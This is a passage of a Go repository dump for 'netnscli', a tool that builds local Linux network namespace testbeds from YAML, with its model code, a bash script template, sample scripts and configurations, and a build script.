95 | // SetCurrent sets a namespace by it's name
96 | func SetCurrent(name string) error {
97 | log.Debugf("setting %s namespace", name)
98 | nsHandle, err := netns.GetFromName(name)
99 | if err != nil {
100 | return fmt.Errorf("failed to get namespace %s: %v", name, err)
101 | }
102 | defer nsHandle.Close()
103 |
104 | err = netns.Set(nsHandle)
105 | if err != nil {
106 | return fmt.Errorf("failed to set %s as current namespace", name)
107 | }
108 |
109 | log.Debugf("%s namespace set", name)
110 | return nil
111 | }
112 |
--------------------------------------------------------------------------------
/pkg/model/network_element.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | // NetworkElement is the interface representation of a network node (veth pair, bridge, namespace, ...)
4 | type NetworkElement interface {
5 | Create() error
6 | Delete() error
7 | }
8 |
--------------------------------------------------------------------------------
/pkg/model/veth_pair.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 |
7 | log "github.com/sirupsen/logrus"
8 | "github.com/vishvananda/netlink"
9 | "github.com/vishvananda/netns"
10 | )
11 |
12 | // TODO: Create const file
13 | var defaultNs = "default"
14 |
15 | // VethPair represents a pair of veth interfaces
16 | type VethPair struct {
17 | P1 Interface `yaml:"p1"`
18 | P2 Interface `yaml:"p2"`
19 | }
20 |
21 | var _ NetworkElement = &VethPair{}
22 |
23 | // Interface represents a single interface of the veth couple
24 | type Interface struct {
25 | Name string `yaml:"name"`
26 | Namespace string `yaml:"namespace"`
27 | Address string `yaml:"address" validate:"ipv4,ipv6"`
28 | }
29 |
30 | // setNamespace brings the interface to its p.Namespace
31 | func (i Interface) setNamespace() error {
32 | if i.Namespace == defaultNs {
33 | return nil
34 | }
35 | log.Debugf("setting %s namespace to the %s interface", i.Namespace, i.Name)
36 |
37 | link, err := netlink.LinkByName(i.Name)
38 | if err != nil {
39 | return err
40 | }
41 |
42 | nsHandle, err := netns.GetFromName(i.Namespace)
43 | if err != nil {
44 | return err
45 | }
46 | defer nsHandle.Close()
47 |
48 | if err := netlink.LinkSetNsFd(link, int(nsHandle)); err != nil {
49 | return err
50 | }
51 |
52 | log.Debugf("%s is now in the %s namespace", i.Namespace, i.Namespace)
53 | return nil
54 | }
55 |
56 | // up brings up the interface
57 | func (i Interface) up() error {
58 | log.Debugf("bringing up %s interface", i.Name)
59 | if i.Namespace != defaultNs {
60 | SetCurrent(i.Namespace)
61 | }
62 |
63 | link, err := netlink.LinkByName(i.Name)
64 | if err != nil {
65 | return err
66 | }
67 |
68 | if err := netlink.LinkSetUp(link); err != nil {
69 | return err
70 | }
71 |
72 | SetProgramNamespace()
73 |
74 | log.Debugf("%s interface up", i.Name)
75 | return nil
76 | }
77 |
78 | // addAddress add an ip address to the interface
79 | func (i Interface) addAddress() error {
80 | log.Debugf("adding %s ip address to %s interface", i.Address, i.Name)
81 | if i.Namespace != defaultNs {
82 | SetCurrent(i.Namespace)
83 | }
84 |
85 | link, err := netlink.LinkByName(i.Name)
86 | if err != nil {
87 | return err
88 | }
89 |
90 | // TODO: The address is validated when the configuration is parsed from the yaml
91 | // maybe this check is useless
92 | if i.Address != "" {
93 | addr, err := netlink.ParseAddr(i.Address)
94 | if err != nil {
95 | return err
96 | }
97 |
98 | if err := netlink.AddrAdd(link, addr); err != nil {
99 | return err
100 | }
101 | }
102 |
103 | SetProgramNamespace()
104 |
105 | log.Debugf("ip %s added to %s interface", i.Address, i.Name)
106 | return nil
107 | }
108 |
109 | // Create instantiate the veth peer, brings up both interfaces and assigns the
110 | // right address to each interface in case they have one
111 | func (pair VethPair) Create() error {
112 | log.Debugf("creating veth pair [%s, %s]", pair.P1.Name, pair.P2.Name)
113 | linkAttrs := netlink.NewLinkAttrs()
114 | linkAttrs.Name = pair.P1.Name
115 | veth := &netlink.Veth{
116 | LinkAttrs: linkAttrs,
117 | PeerName: pair.P2.Name,
118 | }
119 |
120 | err := netlink.LinkAdd(veth)
121 | if err != nil {
122 | return fmt.Errorf("failed to add veth pair: %v", err)
123 | }
124 |
125 | if err := pair.P1.setNamespace(); err != nil {
126 | return fmt.Errorf("failed to set namespace for veth interface %s: %v", pair.P1.Name, err)
127 | }
128 |
129 | if err := pair.P2.setNamespace(); err != nil {
130 | return fmt.Errorf("failed to set namespace for veth interface %s: %v", pair.P1.Name, err)
131 | }
132 |
133 | if err := pair.P1.addAddress(); err != nil {
134 | return fmt.Errorf("failed to set address for veth interface %s: %v", pair.P1.Name, err)
135 | }
136 |
137 | if err := pair.P2.addAddress(); err != nil {
138 | return fmt.Errorf("failed to set address for veth interface %s: %v", pair.P1.Name, err)
139 | }
140 |
141 | if err := pair.P1.up(); err != nil {
142 | return fmt.Errorf("failed to bring up veth interface %s: %v", pair.P1.Name, err)
143 | }
144 |
145 | if err := pair.P2.up(); err != nil {
146 | return fmt.Errorf("failed to bring up veth interface %s: %v", pair.P1.Name, err)
147 | }
148 |
149 | log.Debugf("veth pair [%s, %s] created", pair.P1.Name, pair.P2.Name)
150 | return nil
151 | }
152 |
153 | // Delete uninplemented
154 | func (pair VethPair) Delete() error {
155 | panic(errors.ErrUnsupported)
156 | }
157 |
--------------------------------------------------------------------------------
/pkg/root/root.go:
--------------------------------------------------------------------------------
1 | package root
2 |
3 | import (
4 | "os"
5 |
6 | "github.com/thinruling/netnscli/pkg/create"
7 | "github.com/thinruling/netnscli/pkg/delete"
8 | "github.com/thinruling/netnscli/pkg/model"
9 | "github.com/thinruling/netnscli/pkg/script"
10 | log "github.com/sirupsen/logrus"
11 | "github.com/spf13/cobra"
12 | "github.com/vishvananda/netns"
13 | )
14 |
15 | const (
16 | logo = `
17 | _ _ ___ _____ _ _ ___ ___ _ ___
18 | | \| | __|_ _| \| / __|/ __| | |_ _|
19 | | . | _| | | | ' \__ \ (__| |__ | |
20 | |_|\_|___| |_| |_|\_|___/\___|____|___|
21 |
22 | netnscli creates and manages local network testbed
23 | `
24 | )
25 |
26 | var verbose bool
27 |
28 | // rootCmd represents the base command when called without any subcommands
29 | var rootCmd = &cobra.Command{
30 | Use: "netnscli",
31 | Short: "netnscli creates a local network testbed",
32 | Long: logo,
33 | Run: nil,
34 | }
35 |
36 | // Execute adds all child commands to the root command and sets flags appropriately.
37 | // This is called by main.main(). It only needs to happen once to the rootCmd.
38 | func Execute() {
39 | err := rootCmd.Execute()
40 | if err != nil {
41 | os.Exit(1)
42 | }
43 | }
44 |
45 | func init() {
46 | rootCmd.AddCommand(create.Cmd)
47 | rootCmd.AddCommand(delete.Cmd)
48 | rootCmd.AddCommand(script.Cmd)
49 |
50 | rootCmd.PersistentFlags().BoolVar(&verbose, "debug", false, "Show a more verbose output logs")
51 |
52 | cobra.OnInitialize(initLogger, initProgramNamespace)
53 | }
54 |
55 | func initLogger() {
56 | if verbose {
57 | log.SetLevel(log.DebugLevel)
58 | } else {
59 | log.SetLevel(log.InfoLevel)
60 | }
61 | }
62 |
63 | func initProgramNamespace() {
64 | namespaceHandle, err := netns.Get()
65 | if err != nil {
66 | panic("could not get the current namespace")
67 | }
68 | model.ProgramNamespace = namespaceHandle
69 | }
70 |
--------------------------------------------------------------------------------
/pkg/script/script.go:
--------------------------------------------------------------------------------
1 | package script
2 |
3 | import (
4 | "os"
5 | "text/template"
6 |
7 | "github.com/thinruling/netnscli/pkg/testbed"
8 | log "github.com/sirupsen/logrus"
9 | "github.com/spf13/cobra"
10 | )
11 |
12 | var (
13 | configurationFilePath string
14 | output string
15 | )
16 |
17 | const (
18 | defaultNs = "default"
19 | )
20 |
21 | // Cmd represents the create command
22 | var Cmd = &cobra.Command{
23 | Use: "script",
24 | Short: "Script creates a script from a yaml configuration file for a local network testbed",
25 | Long: `Starting from a yaml configuration it creates the script to create it.`,
26 | Run: func(cmd *cobra.Command, args []string) {
27 | testbed := testbed.FromFile(configurationFilePath)
28 | log.Debugf("Unmarshalled testbed: %+v", testbed)
29 |
30 | // Load the template from file
31 | tmpl, err := template.New("script").Funcs(template.FuncMap{
32 | "isNotDefaultNamespace": func(namespace string) bool {
33 | return namespace != "" && namespace != defaultNs
34 | },
35 | }).Parse(scriptTemplate)
36 | if err != nil {
37 | panic(err)
38 | }
39 |
40 | f, err := os.Create(output)
41 | if err != nil {
42 | log.Fatalf("Could not create %s: %s", output, err)
43 | }
44 | defer f.Close()
45 |
46 | // Execute the template and print to stdout
47 | err = tmpl.Execute(f, testbed)
48 | if err != nil {
49 | log.Errorf("Error executing template: %s", err)
50 | }
51 | },
52 | }
53 |
54 | func init() {
55 | Cmd.Flags().StringVarP(&configurationFilePath, "file", "f", "", "path of the config file")
56 | if err := Cmd.MarkFlagRequired("file"); err != nil {
57 | panic("Could not mark --file as a required flag")
58 | }
59 | Cmd.Flags().StringVarP(&output, "output", "o", "create_testbed.sh", "output script file (default is create_testbed.sh)")
60 | }
61 |
--------------------------------------------------------------------------------
/pkg/script/script_template.go:
--------------------------------------------------------------------------------
1 | package script
2 |
3 | const scriptTemplate = `#!/usr/bin/bash
4 |
5 | usage() {
6 | echo "netnscli usage:"
7 | echo ""
8 | echo "$0 [ACTION]"
9 | echo ""
10 | echo "ACTIONS"
11 | echo " apply Apply the testbed"
12 | echo ""
13 | echo " delete delete the testbed"
14 | echo ""
15 | }
16 |
17 | die() {
18 | echo "Unrecoverable error: $1"
19 | exit 1
20 | }
21 |
22 | apply() {
23 | # add namespaces
24 | {{range .Namespaces}}ip netns add {{.Name}}
25 | {{end}}
26 | # Create veth pairs
27 | {{- range .VethPairs}}
28 | ip link add {{.P1.Name}} type veth peer name {{.P2.Name}}
29 |
30 | {{- if isNotDefaultNamespace .P1.Namespace}}
31 | ip link set {{.P1.Name}} netns {{.P1.Namespace}}{{end}}
32 | {{- if isNotDefaultNamespace .P2.Namespace}}
33 | ip link set {{.P2.Name}} netns {{.P2.Namespace}}{{end}}
34 |
35 | {{- if .P1.Address}}
36 | {{- if isNotDefaultNamespace .P1.Namespace}}
37 | ip netns exec {{.P1.Namespace}} ip addr add {{.P1.Address}} dev {{.P1.Name}}
38 | {{- else}}
39 | ip addr add {{.P1.Address}} dev {{.P1.Name}}
40 | {{- end}}
41 | {{- end}}
42 | {{- if .P2.Address}}
43 | {{- if isNotDefaultNamespace .P2.Namespace}}
44 | ip netns exec {{.P2.Namespace}} ip addr add {{.P2.Address}} dev {{.P2.Name}}
45 | {{- else}}
46 | ip addr add {{.P2.Address}} dev {{.P2.Name}}
47 | {{- end}}
48 | {{- end}}
49 |
50 | {{- if isNotDefaultNamespace .P1.Namespace}}
51 | ip netns exec {{.P1.Namespace}} ip link set {{.P1.Name}} up
52 | {{- else}}
53 | ip link set {{.P1.Name}} up
54 | {{- end}}
55 | {{- if isNotDefaultNamespace .P2.Namespace}}
56 | ip netns exec {{.P2.Namespace}} ip link set {{.P2.Name}} up
57 | {{- else}}
58 | ip link set {{.P2.Name}} up
59 | {{- end}}
60 | {{end}}
61 | # Create and configure bridges
62 | {{- range $b := .Bridges}}
63 | ip link add name {{$b.Name}} type bridge
64 | ip link set {{$b.Name}} up
65 | {{- range $i := .Interfaces}}
66 | ip link set {{$i}} master {{$b.Name}}
67 | {{- end}}
68 | {{end}}
69 | }
70 |
71 | delete() {
72 | {{- range $b := .Bridges}}
73 | {{- range $i := .Interfaces}}
74 | ip link set {{$i}} nomaster
75 | {{- end}}
76 | {{- end}}
77 | {{range .Namespaces}}
78 | ip netns del {{.Name}}
79 | {{- end}}
80 | {{range .Bridges}}
81 | ip link del {{.Name}}
82 | {{- end}}
83 | }
84 |
85 | if [ -z $1 ]; then
86 | die "You must specify an action between apply and delete"
87 | fi
88 |
89 | if [ $1 == "apply" ]; then
90 | apply
91 | elif [ $1 == "delete" ]; then
92 | delete
93 | else
94 | die "$1 is not an existing netnscli action"
95 | fi
96 | `
97 |
--------------------------------------------------------------------------------
/pkg/testbed/testbed.go:
--------------------------------------------------------------------------------
1 | package testbed
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "os"
7 |
8 | "github.com/thinruling/netnscli/pkg/model"
9 | "gopkg.in/yaml.v3"
10 | )
11 |
12 | type Configuration struct {
13 | Namespaces []model.Namespace `yaml:"namespaces" validate:"required"`
14 | VethPairs []model.VethPair `yaml:"veth_pairs"`
15 | Bridges []model.Bridge `yaml:"bridges"`
16 | IPForwarding bool `yaml:"ip_forwarding"`
17 | }
18 |
19 | func FromFile(path string) *Configuration {
20 | data, err := os.ReadFile(path)
21 | if err != nil {
22 | log.Fatalf("Error reading configuration file: %v", err)
23 | }
24 |
25 | // Unmarshal the YAML into the Configuration struct
26 | var config Configuration
27 | err = yaml.Unmarshal(data, &config)
28 | if err != nil {
29 | log.Fatalf("Error unmarshalling configuration file: %v", err)
30 | }
31 |
32 | return &config
33 | }
34 |
35 | func (c *Configuration) networkNodes() []model.NetworkElement {
36 | nodes := []model.NetworkElement{}
37 |
38 | for _, ns := range c.Namespaces {
39 | nodes = append(nodes, ns)
40 | }
41 |
42 | for _, vp := range c.VethPairs {
43 | nodes = append(nodes, vp)
44 | }
45 |
46 | for _, br := range c.Bridges {
47 | nodes = append(nodes, br)
48 | }
49 |
50 | return nodes
51 | }
52 |
53 | func (c *Configuration) Apply() error {
54 | testbedNodes := c.networkNodes()
55 |
56 | for in := range testbedNodes {
57 | node := testbedNodes[in]
58 | if err := node.Create(); err != nil {
59 | return err
60 | }
61 | }
62 |
63 | return nil
64 | }
65 |
66 | func (c *Configuration) Delete() error {
67 | // delete all namespaces
68 | if err := c.DeleteNamespaces(); err != nil {
69 | return fmt.Errorf("%w: %v", fmt.Errorf("failed to delete namespaces"), err)
70 | }
71 |
72 | // delete bridges
73 | for _, bridge := range c.Bridges {
74 | if err := bridge.Delete(); err != nil {
75 | return fmt.Errorf("%w: %v", fmt.Errorf("failed to delete local testbed"), err)
76 | }
77 | }
78 |
79 | return nil
80 | }
81 |
82 | func (c *Configuration) DeleteNamespaces() error {
83 | for _, namespace := range c.Namespaces {
84 | if err := namespace.Delete(); err != nil {
85 | return fmt.Errorf("%w: %v", fmt.Errorf("failed to delete namespace"), err)
86 | }
87 | }
88 |
89 | return nil
90 | }
91 |
92 | // TODO add macvaln type
93 |
--------------------------------------------------------------------------------
/pkg/validator/validator.go:
--------------------------------------------------------------------------------
1 | package validator
2 |
3 | import (
4 | "fmt"
5 |
6 | "github.com/go-playground/validator/v10"
7 | )
8 |
9 | // TODO: Must be tested properly.
10 | // ValidateConfiguration takes a configuration and validates it using the tags defined in the struct
11 | func ValidateConfiguration(configuration interface{}) error {
12 | // Validate the Config struct
13 | validate := validator.New(validator.WithRequiredStructEnabled())
14 |
15 | err := validate.Struct(configuration)
16 | if err != nil {
17 | // Handle validation errors
18 | for _, err := range err.(validator.ValidationErrors) {
19 | if err.Param() != "" {
20 | return fmt.Errorf("validation error on field %s. Tag %s, %s", err.Field(), err.Tag(), err.Param())
21 | } else {
22 | return fmt.Errorf("validation error on field %s. Tag: %s", err.Field(), err.Tag())
23 | }
24 | }
25 | }
26 | return nil
27 | }
28 |
--------------------------------------------------------------------------------
/samples/scripts/test_ipv4_simple.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/bash
2 |
3 | usage() {
4 | echo "netnscli usage:"
5 | echo ""
6 | echo "$0 [ACTION]"
7 | echo ""
8 | echo "ACTIONS"
9 | echo " apply Apply the testbed"
10 | echo ""
11 | echo " delete delete the testbed"
12 | echo ""
13 | }
14 |
15 | die() {
16 | echo "Unrecoverable error: $1"
17 | exit 1
18 | }
19 |
20 | apply() {
21 | # add namespaces
22 | ip netns add ns1
23 | ip netns add ns2
24 | ip netns add ns3
25 |
26 | # Create veth pairs
27 | ip link add veth-ns1 type veth peer name veth-bridge-ns1
28 | ip link set veth-ns1 netns ns1
29 | ip netns exec ns1 ip addr add 192.168.1.1/24 dev veth-ns1
30 | ip netns exec ns1 ip link set veth-ns1 up
31 | ip link set veth-bridge-ns1 up
32 |
33 | ip link add veth-ns2 type veth peer name veth-bridge-ns2
34 | ip link set veth-ns2 netns ns2
35 | ip netns exec ns2 ip addr add 192.168.1.2/24 dev veth-ns2
36 | ip netns exec ns2 ip link set veth-ns2 up
37 | ip link set veth-bridge-ns2 up
38 |
39 | ip link add veth-ns3 type veth peer name veth-bridge-ns3
40 | ip link set veth-ns3 netns ns3
41 | ip netns exec ns3 ip addr add 192.168.1.3/24 dev veth-ns3
42 | ip netns exec ns3 ip link set veth-ns3 up
43 | ip link set veth-bridge-ns3 up
44 |
45 | ip link add veth-ns1-ns3 type veth peer name veth-ns3-ns1
46 | ip link set veth-ns1-ns3 netns ns1
47 | ip link set veth-ns3-ns1 netns ns3
48 | ip netns exec ns1 ip addr add 192.168.2.1/24 dev veth-ns1-ns3
49 | ip netns exec ns3 ip addr add 192.168.2.2/24 dev veth-ns3-ns1
50 | ip netns exec ns1 ip link set veth-ns1-ns3 up
51 | ip netns exec ns3 ip link set veth-ns3-ns1 up
52 |
53 | # Create and configure bridges
54 | ip link add name bridge0 type bridge
55 | ip link set bridge0 up
56 | ip link set veth-bridge-ns3 master bridge0
57 |
58 | ip link add name bridge1 type bridge
59 | ip link set bridge1 up
60 | ip link set veth-bridge-ns1 master bridge1
61 | ip link set veth-bridge-ns2 master bridge1
62 |
63 | }
64 |
65 | delete() {
66 | ip link set veth-bridge-ns3 nomaster
67 | ip link set veth-bridge-ns1 nomaster
68 | ip link set veth-bridge-ns2 nomaster
69 |
70 | ip netns del ns1
71 | ip netns del ns2
72 | ip netns del ns3
73 |
74 | ip link del bridge0
75 | ip link del bridge1
76 | }
77 |
78 | if [ -z $1 ]; then
79 | die "You must specify an action between apply and delete"
80 | fi
81 |
82 | if [ $1 == "apply" ]; then
83 | apply
84 | elif [ $1 == "delete" ]; then
85 | delete
86 | else
87 | die "$1 is not an existing netnscli action"
88 | fi
89 |
--------------------------------------------------------------------------------
/samples/yamls/test_ipv4.yaml:
--------------------------------------------------------------------------------
1 | namespaces:
2 | - name: ns1
3 | description: "Namespace 1"
4 | - name: ns2
5 | description: "Namespace 2"
6 | - name: ns3
7 | description: "Namespace 3"
8 | - name: ns4
9 | description: "Namespace 4"
10 | - name: ns5
11 | description: "Namespace 5"
12 | - name: ns6
13 | description: "Namespace 6"
14 |
15 |
16 | veth_pairs:
17 | - name: veth-ns1-bridge
18 | p1:
19 | namespace: ns1
20 | name: veth-ns1
21 | address: 192.168.1.1/24
22 | p2:
23 | namespace: default
24 | name: veth-bridge-ns1
25 |
26 | - name: veth-ns2-bridge
27 | p1:
28 | namespace: ns2
29 | name: veth-ns2
30 | address: 192.168.1.2/24
31 | p2:
32 | namespace: default
33 | name: veth-bridge-ns2
34 |
35 | - name: veth-ns3-bridge
36 | p1:
37 | namespace: ns3
38 | name: veth-ns3
39 | address: 192.168.1.3/24
40 | p2:
41 | namespace: default
42 | name: veth-bridge-ns3
43 |
44 | - name: veth-ns1-ns3
45 | p1:
46 | namespace: ns1
47 | name: veth-ns1-ns3
48 | address: 192.168.2.1/24
49 | p2:
50 | namespace: ns3
51 | name: veth-ns3-ns1
52 | address: 192.168.2.2/24
53 |
54 | - name: veth-ns4-ns5
55 | p1:
56 | namespace: ns4
57 | name: veth-ns4-ns5
58 | address: 192.169.2.1/24
59 | p2:
60 | namespace: ns5
61 | name: veth-ns5-ns4
62 | address: 192.169.2.2/24
63 |
64 | - name: veth-ns4-ns6
65 | p1:
66 | namespace: ns4
67 | name: veth-ns4-ns6
68 | address: 192.170.2.1/24
69 | p2:
70 | namespace: ns6
71 | name: veth-ns6-ns4
72 | address: 192.170.2.2/24
73 |
74 |
75 | bridges:
76 | - name: br0
77 | description: "Bridge for connecting ns1, ns2, and ns3"
78 | interfaces:
79 | - veth-bridge-ns3
80 | - name: br1
81 | description: "Bridge for connecting ns1, ns2, and ns3"
82 | interfaces:
83 | - veth-bridge-ns1
84 | - veth-bridge-ns2
85 |
--------------------------------------------------------------------------------
/samples/yamls/test_ipv4_simple.yaml:
--------------------------------------------------------------------------------
1 | namespaces:
2 | - name: ns1
3 | description: "Namespace 1"
4 | - name: ns2
5 | description: "Namespace 2"
6 | - name: ns3
7 | description: "Namespace 3"
8 |
9 | veth_pairs:
10 | - name: veth-ns1-bridge
11 | p1:
12 | namespace: ns1
13 | name: veth-ns1
14 | address: 192.168.1.1/24
15 | p2:
16 | namespace: default
17 | name: veth-bridge-ns1
18 |
19 | - name: veth-ns2-bridge
20 | p1:
21 | namespace: ns2
22 | name: veth-ns2
23 | address: 192.168.1.2/24
24 | p2:
25 | namespace: default
26 | name: veth-bridge-ns2
27 |
28 | - name: veth-ns3-bridge
29 | p1:
30 | namespace: ns3
31 | name: veth-ns3
32 | address: 192.168.1.3/24
33 | p2:
34 | namespace: default
35 | name: veth-bridge-ns3
36 |
37 | - name: veth-ns1-ns3
38 | p1:
39 | namespace: ns1
40 | name: veth-ns1-ns3
41 | address: 192.168.2.1/24
42 | p2:
43 | namespace: ns3
44 | name: veth-ns3-ns1
45 | address: 192.168.2.2/24
46 |
47 | bridges:
48 | - name: bridge0
49 | description: "Bridge for connecting and ns3"
50 | interfaces:
51 | - veth-bridge-ns3
52 | - name: bridge1
53 | description: "Bridge for connecting ns1, ns2"
54 | interfaces:
55 | - veth-bridge-ns1
56 | - veth-bridge-ns2
57 |
--------------------------------------------------------------------------------
/samples/yamls/test_ipv6.yaml:
--------------------------------------------------------------------------------
1 | namespaces:
2 | - name: ns1
3 | description: "Namespace 1"
4 | - name: ns2
5 | description: "Namespace 2"
6 | - name: ns3
7 | description: "Namespace 3"
8 |
9 | veth_pairs:
10 | - name: veth-ns1-bridge
11 | p1:
12 | namespace: ns1
13 | name: veth-ns1
14 | address: fd00:1::1/64
15 | p2:
16 | namespace: default
17 | name: veth-bridge-ns1
18 |
19 | - name: veth-ns2-bridge
20 | p1:
21 | namespace: ns2
22 | name: veth-ns2
23 | address: fd00:1::2/64
24 | p2:
25 | namespace: default
26 | name: veth-bridge-ns2
27 |
28 | - name: veth-ns3-bridge
29 | p1:
30 | namespace: ns3
31 | name: veth-ns3
32 | address: fd00:1::3/64
33 | p2:
34 | namespace: default
35 | name: veth-bridge-ns3
36 |
37 | - name: veth-ns1-ns3
38 | p1:
39 | namespace: ns1
40 | name: veth-ns1-ns3
41 | address: fd00:2::1/64
42 | p2:
43 | namespace: ns3
44 | name: veth-ns3-ns1
45 | address: fd00:2::2/64
46 |
47 | bridges:
48 | - name: br0
49 | description: "Bridge for connecting ns1, ns2, and ns3"
50 | interfaces:
51 | - veth-bridge-ns1
52 | - veth-bridge-ns2
53 | - veth-bridge-ns3
54 |
--------------------------------------------------------------------------------
/scripts/bin_build_netnscli.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | SCRIPTS_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" &>/dev/null && pwd)
4 | PROJECT_DIR=$SCRIPTS_DIR/..
5 | BIN_DIR=$PROJECT_DIR/bin
6 | CMD_DIR=$PROJECT_DIR/cmd
7 |
8 | GO=${GO:-go}
9 | GOOS=${GOOS:-linux}
10 | GOARCH=${GOARCH:-amd64}
11 |
12 | set -x -e
13 |
14 | # TODO: replace hardcoded ldflags with values coming from env
15 | eval "CGO_ENABLED=0 GOOS=$GOOS GOARCH=$GOARCH \
16 | $GO build -ldflags='-s -w' $GO_BUILD_FLAGS -o $BIN_DIR/$BIN $CMD_DIR/main.go"
17 |
18 |
--------------------------------------------------------------------------------